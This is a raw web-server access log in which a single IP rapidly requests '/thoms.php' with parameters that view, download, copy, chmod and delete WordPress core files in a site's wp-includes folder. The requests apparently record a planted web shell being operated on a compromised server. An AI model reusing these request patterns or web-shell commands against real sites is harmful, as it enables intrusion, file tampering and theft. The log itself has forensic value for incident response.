45.135.193.11 - - [11/Sep/2026:23:11:21 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Frobots-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Frobots-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=error-protection.php HTTP/1.1" 200 13424 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:21 -0400] "GET /thoms.php?dl=class-wp-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:22 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=theme-previews.php HTTP/1.1" 200 13130 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:22 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-bindings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-bindings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:22 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:22 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:22 -0400] "GET /thoms.php?chmod=ai-client&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=ai-client&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:22 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:22 -0400] "GET /thoms.php?dl=class-wp-block-templates-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57891 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-templates-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:22 -0400] "GET /thoms.php?dl=template-loader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:22 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:22 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:22 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=locale.php HTTP/1.1" 200 11965 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:23 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-network.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-network.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:23 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2FIXR HTTP/1.1" 200 14459 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:23 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 200 12186 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:23 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:23 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Frest-api.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Frest-api.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:23 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fcertificates HTTP/1.1" 200 12714 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:23 -0400] "GET /thoms.php?del=widgets&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=widgets&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:23 -0400] "GET /thoms.php?dl=class-wp-widget-factory.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:23 -0400] "GET /thoms.php?chmod=html-api&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:23 -0400] "GET /thoms.php?chmod=js&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=js&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:24 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:24 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=general-template.php HTTP/1.1" 200 63147 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:24 -0400] "GET /thoms.php?chmod=class-wp-hook.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:24 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:24 -0400] "GET /thoms.php?del=admin-bar.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57896 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:24 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 200 75055 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:24 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:24 -0400] "GET /thoms.php?dl=default-filters.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:24 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fsession.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fsession.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?chmod=class-wp-duotone.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 200 17507 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?chmod=media-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=media-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?chmod=theme-compat&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=theme-compat&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?del=kses.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57852 "http://163.245.207.76:443/thoms.php?del=kses.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?del=theme-previews.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fuser.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fuser.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=user.php HTTP/1.1" 200 61479 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:25 -0400] "GET /thoms.php?dl=compat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:26 -0400] "GET /thoms.php?chmod=icons.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=icons.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:26 -0400] "GET /thoms.php?chmod=nav-menu-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:26 -0400] "GET /thoms.php?chmod=abilities-api&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=abilities-api&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:26 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=bookmark.php HTTP/1.1" 200 17034 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:26 -0400] "GET /thoms.php?del=SimplePie&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11849 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:26 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-proxy.php HTTP/1.1" 200 14016 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:26 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:26 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:27 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57895 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:27 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:27 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=error_log HTTP/1.1" 200 14662 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:27 -0400] "GET /thoms.php?dl=class-wp-script-modules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fsitemaps.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fsitemaps.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:27 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-ajax-response.php HTTP/1.1" 200 13972 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11864 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fdate.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fdate.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-functions.php HTTP/1.1" 200 37972 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:27 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?chmod=script-loader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
